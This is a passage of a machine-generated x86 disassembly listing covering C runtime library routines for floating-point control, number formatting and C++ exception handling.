sub_40FF0F+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41063D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41064C proc near ; CODE XREF: sub_40B7DA+13p ; sub_40B7DA+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41064C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41066F proc near ; CODE XREF: sub_4101C2+1Dp ; sub_4101C2+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_410686 fld tbyte_41FD38 fistp [ebp+arg_0] wait loc_410686: ; CODE XREF: sub_41066F+Bj test cl, 8 jz short loc_41069B fstsw ax fld tbyte_41FD38 fstp [ebp+var_8] wait fstsw ax loc_41069B: ; CODE XREF: sub_41066F+1Aj test cl, 10h jz short loc_4106AA fld tbyte_41FD44 fstp [ebp+var_8] wait loc_4106AA: ; CODE XREF: sub_41066F+2Fj test cl, 4 jz short loc_4106B8 fldz fld1 fdivrp st(1), st fstp st wait loc_4106B8: ; CODE XREF: sub_41066F+3Ej test cl, 20h jz short locret_4106C3 fldpi fstp [ebp+var_8] wait locret_4106C3: ; CODE XREF: sub_41066F+4Cj leave retn sub_41066F endp ; =============== S U B R O U T I N E ======================================= sub_4106C5 proc near ; CODE XREF: sub_40B8A9+Fp push 30000h push 10000h call sub_413685 pop ecx pop ecx retn sub_4106C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4106D7 proc near ; CODE XREF: sub_410715:loc_410739j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_4177B0 fstp [ebp+var_8] fld dbl_4177A8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_417630 fnstsw ax sahf jbe short loc_410711 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_410711: ; CODE XREF: sub_4106D7+33j xor eax, eax leave retn sub_4106D7 endp ; =============== S U B R O U T I N E ======================================= sub_410715 proc near ; CODE XREF: sub_40B8A9+5p push offset aKernel32 ; "KERNEL32" call dword_41708C ; GetModuleHandleA test eax, eax jz short loc_410739 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_417088 ; GetProcAddress test eax, eax jz short loc_410739 push 0 call eax ; sub_40B8A9 retn ; --------------------------------------------------------------------------- loc_410739: ; CODE XREF: sub_410715+Dj ; sub_410715+1Dj jmp sub_4106D7 sub_410715 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41073E proc near ; CODE XREF: sub_40D768+3CBp ; DATA XREF: sub_40B8C1+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_40CEE0 cmp eax, 65h pop ecx jz short loc_41077E loc_410752: ; CODE XREF: sub_41073E+3Ej inc esi cmp dword_41FF84, 1 jle short loc_41076B movsx eax, byte ptr [esi] push 4 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_41077A ; --------------------------------------------------------------------------- loc_41076B: ; CODE XREF: sub_41073E+1Cj movsx eax, byte ptr [esi] mov ecx, off_41FD78 mov al, [ecx+eax*2] and eax, 4 loc_41077A: ; CODE XREF: sub_41073E+2Bj test eax, eax jnz short loc_410752 loc_41077E: ; CODE XREF: sub_41073E+12j mov cl, byte_41FF88 mov al, [esi] mov [esi], cl inc esi loc_410789: ; CODE XREF: sub_41073E+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_410789 pop esi retn sub_41073E endp ; =============== S U B R O U T I N E ======================================= sub_410798 proc near ; CODE XREF: sub_40D768+3E2p ; DATA XREF: sub_40B8C1+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_41FF88 mov cl, [eax] test cl, cl jz short loc_4107B4 loc_4107A8: ; CODE XREF: sub_410798+1Aj cmp cl, dl jz short loc_4107B4 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4107A8 loc_4107B4: ; CODE XREF: sub_410798+Ej ; sub_410798+12j mov cl, [eax] inc eax test cl, cl jz short locret_4107E5 loc_4107BB: ; CODE XREF: sub_410798+34j mov cl, [eax] test cl, cl jz short loc_4107CE cmp cl, 65h jz short loc_4107CE cmp cl, 45h jz short loc_4107CE inc eax jmp short loc_4107BB ; --------------------------------------------------------------------------- loc_4107CE: ; CODE XREF: sub_410798+27j ; sub_410798+2Cj ... mov ecx, eax loc_4107D0: ; CODE XREF: sub_410798+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_4107D0 cmp [eax], dl jnz short loc_4107DB dec eax loc_4107DB: ; CODE XREF: sub_410798+40j ; sub_410798+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_4107DB locret_4107E5: ; CODE XREF: sub_410798+21j retn sub_410798 endp ; =============== S U B R O U T I N E ======================================= sub_4107E6 proc near ; DATA XREF: sub_40B8C1+28o ; .nsp0:off_41FD60o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_4177A0 fnstsw ax sahf jb short loc_4107FB push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4107FB: ; CODE XREF: sub_4107E6+Fj xor eax, eax retn sub_4107E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107FE proc near ; CODE XREF: sub_40DF72+430p ; DATA XREF: sub_40B8C1+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_410827 lea eax, [ebp+var_8] push eax call sub_413B48 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_410827: ; CODE XREF: sub_4107FE+Cj lea eax, [ebp+arg_8] push eax call sub_413B75 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_4107FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41083C proc near ; CODE XREF: sub_410AB9+17p ; sub_410B03+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_47F97C, 0 push ebx push esi jz short loc_410871 mov ebx, [ebp+arg_8] mov eax, dword_47F978 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_410B54 pop ecx pop ecx jmp short loc_4108A9 ; --------------------------------------------------------------------------- loc_410871: ; CODE XREF: sub_41083C+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_413C19 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_413BA2 add esp, 14h loc_4108A9: ; CODE XREF: sub_41083C+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4108B5 mov byte ptr [eax], 2Dh inc eax loc_4108B5: ; CODE XREF: sub_41083C+73j test ebx, ebx jle short loc_4108CD mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_41FF88 mov eax, edi pop edi mov [eax], cl loc_4108CD: ; CODE XREF: sub_41083C+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_47F97C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_40CD70 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4108F4 mov byte ptr [ecx], 45h loc_4108F4: ; CODE XREF: sub_41083C+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_410939 mov ebx, [esi+4] dec ebx jns short loc_410908 neg ebx mov byte ptr [ecx], 2Dh loc_410908: ; CODE XREF: sub_41083C+C5j inc ecx cmp ebx, 64h jl short loc_41091F mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41091F: ; CODE XREF: sub_41083C+D0j inc ecx cmp ebx, 0Ah jl short loc_410936 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_410936: ; CODE XREF: sub_41083C+E7j add [ecx+1], bl loc_410939: ; CODE XREF: sub_41083C+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41083C endp ; =============== S U B R O U T I N E ======================================= sub_410940 proc near ; CODE XREF: sub_410AE0+13p ; sub_410B03+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_47F97C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41097B mov eax, dword_47F980 mov ebx, [esp+10h+arg_8] mov esi, dword_47F978 cmp eax, ebx jnz short loc_4109AB xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4109AB ; --------------------------------------------------------------------------- loc_41097B: ; CODE XREF: sub_410940+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_413C19 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_413BA2 add esp, 14h loc_4109AB: ; CODE XREF: sub_410940+22j ; sub_410940+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4109B9 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4109B9: ; CODE XREF: sub_410940+70j mov eax, [esi+4] test eax, eax jg short loc_4109D0 push 1 push edi call sub_410B54 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_4109D2 ; --------------------------------------------------------------------------- loc_4109D0: ; CODE XREF: sub_410940+7Ej add edi, eax loc_4109D2: ; CODE XREF: sub_410940+8Ej test ebx, ebx jle short loc_410A17 push 1 push edi call sub_410B54 mov al, byte_41FF88 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_410A17 cmp byte_47F97C, 0 jz short loc_4109FC neg esi jmp short loc_410A02 ; --------------------------------------------------------------------------- loc_4109FC: ; CODE XREF: sub_410940+B6j neg esi cmp ebx, esi jl short loc_410A04 loc_410A02: ; CODE XREF: sub_410940+BAj mov ebx, esi loc_410A04: ; CODE XREF: sub_410940+C0j push ebx push edi call sub_410B54 push ebx push 30h push edi call sub_40B630 add esp, 14h loc_410A17: ; CODE XREF: sub_410940+94j ; sub_410940+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_410940 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A1E proc near ; CODE XREF: sub_410B03+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_413C19 mov dword_47F978, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_47F980, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_413BA2 mov eax, dword_47F978 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_47F980, ecx setl cl mov byte_47F984, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_47F980, eax jl short loc_410AA4 cmp eax, ebx jge short loc_410AA4 test cl, cl jz short loc_410A95 loc_410A8B: ; CODE XREF: sub_410A1E+72j mov al, [esi] inc esi test al, al jnz short loc_410A8B and [esi-2], al loc_410A95: ; CODE XREF: sub_410A1E+6Bj push ebx push [ebp+arg_4] push edi call sub_410AE0 add esp, 0Ch jmp short loc_410AB4 ; --------------------------------------------------------------------------- loc_410AA4: ; CODE XREF: sub_410A1E+63j ; sub_410A1E+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_410AB9 add esp, 10h loc_410AB4: ; CODE XREF: sub_410A1E+84j pop edi pop esi pop ebx pop ebp retn sub_410A1E endp ; =============== S U B R O U T I N E ======================================= sub_410AB9 proc near ; CODE XREF: sub_410A1E+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_47F97C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41083C and byte_47F97C, 0 add esp, 10h retn sub_410AB9 endp ; =============== S U B R O U T I N E ======================================= sub_410AE0 proc near ; CODE XREF: sub_410A1E+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_47F97C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_410940 and byte_47F97C, 0 add esp, 0Ch retn sub_410AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B03 proc near ; CODE XREF: sub_40D768+3AAp ; DATA XREF: sub_40B8C1o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_410B3E cmp [ebp+arg_8], 45h jz short loc_410B3E cmp [ebp+arg_8], 66h jnz short loc_410B2B push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_410940 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_410B2B: ; CODE XREF: sub_410B03+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_410A1E jmp short loc_410B4F ; --------------------------------------------------------------------------- loc_410B3E: ; CODE XREF: sub_410B03+7j ; sub_410B03+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41083C loc_410B4F: ; CODE XREF: sub_410B03+39j add esp, 10h pop ebp retn sub_410B03 endp ; =============== S U B R O U T I N E ======================================= sub_410B54 proc near ; CODE XREF: sub_41083C+2Cp ; sub_410940+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_410B77 push esi mov esi, [esp+8+arg_0] push esi call sub_40B5B0 inc eax push eax push esi add esi, edi push esi call sub_40BE50 add esp, 10h pop esi loc_410B77: ; CODE XREF: sub_410B54+7j pop edi retn sub_410B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B79 proc near ; CODE XREF: .nsp0:0040BAA4p ; sub_40BB0D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_410B8F call sub_411422 loc_410B8F: ; CODE XREF: sub_410B79+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_410BB7 cmp dword ptr [esi+4], 0 jz short loc_410C0D cmp [ebp+arg_14], 0 jnz short loc_410C0D push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_410EC0 add esp, 10h jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410BB7: ; CODE XREF: sub_410B79+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_410C0D cmp dword ptr [eax], 0E06D7363h jnz short loc_410BF1 cmp [eax+14h], edi jbe short loc_410BF1 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_410BF1 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_410C10 ; --------------------------------------------------------------------------- loc_410BF1: ; CODE XREF: sub_410B79+4Aj ; sub_410B79+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_410C14 add esp, 20h loc_410C0D: ; CODE XREF: sub_410B79+23j ; sub_410B79+29j ... push 1 pop eax loc_410C10: ; CODE XREF: sub_410B79+76j pop edi pop esi pop ebp retn sub_410B79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C14 proc near ; CODE XREF: sub_410B79+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_410C34 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_410C39 loc_410C34: ; CODE XREF: sub_410C14+16j call sub_411422 loc_410C39: ; CODE XREF: sub_410C14+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_410D90 cmp dword ptr [esi+10h], 3 jnz short loc_410CAD cmp [esi+14h], edi jnz short loc_410CAD cmp dword ptr [esi+1Ch], 0 jnz short loc_410CAD mov esi, dword_47F988 test esi, esi jz loc_410D8B mov eax, dword_47F98C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_413DA0 pop ecx test eax, eax pop ecx jnz short loc_410C8F call sub_411422 loc_410C8F: ; CODE XREF: sub_410C14+74j cmp [esi], ebx jnz loc_410D90 cmp dword ptr [esi+10h], 3 jnz short loc_410CAD cmp [esi+14h], edi jnz short loc_410CAD cmp dword ptr [esi+1Ch], 0 jnz short loc_410CAD call sub_411422 loc_410CAD: ; CODE XREF: sub_410C14+41j ; sub_410C14+46j ... cmp [esi], ebx jnz loc_410D90 cmp dword ptr [esi+10h], 3 jnz loc_410D90 cmp [esi+14h], edi jnz loc_410D90 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40BC5B add esp, 14h mov ebx, eax loc_410CE4: ; CODE XREF: sub_410C14+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_410D7B cmp [ebx], edi jg short loc_410D70 cmp edi, [ebx+4] jg short loc_410D70 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_410D6D loc_410D09: ; CODE XREF: sub_410C14+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_410D3A loc_410D1B: ; CODE XREF: sub_410C14+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_410E63 add esp, 0Ch test eax, eax jnz short loc_410D49 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_410D1B loc_410D3A: ; CODE XREF: sub_410C14+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_410D09 jmp short loc_410D6D ; --------------------------------------------------------------------------- loc_410D49: ; CODE XREF: sub_410C14+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_410F74 add esp, 2Ch loc_410D6D: ; CODE XREF: sub_410C14+F3j ; sub_410C14+133j mov edi, [ebp+var_10] loc_410D70: ; CODE XREF: sub_410C14+DEj ; sub_410C14+E3j inc [ebp+var_4] add ebx, 14h jmp loc_410CE4 ; --------------------------------------------------------------------------- loc_410D7B: ; CODE XREF: sub_410C14+D6j cmp [ebp+arg_14], 0 jz short loc_410D8B push 1 push esi call sub_4112E9 pop ecx pop ecx loc_410D8B: ; CODE XREF: sub_410C14+56j ; sub_410C14+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_410D90: ; CODE XREF: sub_410C14+37j ; sub_410C14+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_410DB6 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_410DBB add esp, 20h jmp short loc_410D8B ; --------------------------------------------------------------------------- loc_410DB6: ; CODE XREF: sub_410C14+180j jmp sub_4113CC sub_410C14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DBB proc near ; CODE XREF: sub_410C14+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_47F990, 0 push esi push edi jz short loc_410DEC push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40BB32 add esp, 1Ch test eax, eax jnz short loc_410E5F loc_410DEC: ; CODE XREF: sub_410DBB+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_40BC5B add esp, 14h mov esi, eax loc_410E08: ; CODE XREF: sub_410DBB+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_410E5F cmp edi, [esi] jl short loc_410E57 cmp edi, [esi+4] jg short loc_410E57 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_410E31 cmp byte ptr [ecx+8], 0 jnz short loc_410E57 loc_410E31: ; CODE XREF: sub_410DBB+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_410F74 add esp, 2Ch loc_410E57: ; CODE XREF: sub_410DBB+57j ; sub_410DBB+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_410E08 ; --------------------------------------------------------------------------- loc_410E5F: ; CODE XREF: sub_410DBB+2Fj ; sub_410DBB+53j pop edi pop esi leave retn sub_410DBB endp ; =============== S U B R O U T I N E ======================================= sub_410E63 proc near ; CODE XREF: sub_410C14+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_410EBA cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_410EBA mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_410E94 add ecx, 8 push ecx push edx call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_410EB6 loc_410E94: ; CODE XREF: sub_410E63+1Fj test byte ptr [esi], 2 jz short loc_410E9E test byte ptr [edi], 8 jz short loc_410EB6 loc_410E9E: ; CODE XREF: sub_410E63+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_410EAD test byte ptr [edi], 1 jz short loc_410EB6 loc_410EAD: ; CODE XREF: sub_410E63+43j test al, 2 jz short loc_410EBA test byte ptr [edi], 2 jnz short loc_410EBA loc_410EB6: ; CODE XREF: sub_410E63+2Fj ; sub_410E63+39j ... xor eax, eax jmp short loc_410EBD ; --------------------------------------------------------------------------- loc_410EBA: ; CODE XREF: sub_410E63+Bj ; sub_410E63+14j ... push 1 pop eax loc_410EBD: ; CODE XREF: sub_410E63+55j pop edi pop esi retn sub_410E63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410EC0 proc near ; CODE XREF: sub_410B79+34p ; sub_410F74+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4177E8 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_410EF2: ; CODE XREF: sub_410EC0+8Aj cmp esi, [ebp+arg_C] jz short loc_410F4C cmp esi, 0FFFFFFFFh jle short loc_410F01 cmp esi, [edi+4] jl short loc_410F06 loc_410F01: ; CODE XREF: sub_410EC0+3Aj call sub_411422 loc_410F06: ; CODE XREF: sub_410EC0+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_410F21 push 103h push ebx push eax call sub_411380 loc_410F21: ; CODE XREF: sub_410EC0+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_410F41 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_410F5E pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_410F41: ; CODE XREF: sub_410EC0+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_410EF2 ; --------------------------------------------------------------------------- loc_410F4C: ; CODE XREF: sub_410EC0+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_410EC0 endp ; =============== S U B R O U T I N E ======================================= sub_410F5E proc near ; CODE XREF: sub_410EC0+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_410F6F xor eax, eax retn ; --------------------------------------------------------------------------- loc_410F6F: ; CODE XREF: sub_410F5E+Cj jmp sub_4113CC sub_410F5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F74 proc near ; CODE XREF: sub_410C14+151p ; sub_410DBB+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_410F96 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_411125 add esp, 10h loc_410F96: ; CODE XREF: sub_410F74+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_410FA2 push edi jmp short loc_410FA5 ; --------------------------------------------------------------------------- loc_410FA2: ; CODE XREF: sub_410F74+29j push [ebp+arg_24] loc_410FA5: ; CODE XREF: sub_410F74+2Cj call sub_40BA34 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_410EC0 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_410FEF add esp, 2Ch test eax, eax jz short loc_410FEA push edi push eax call sub_40B9F2 loc_410FEA: ; CODE XREF: sub_410F74+6Dj pop edi pop esi pop ebx pop ebp retn sub_410F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FEF proc near ; CODE XREF: sub_410F74+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 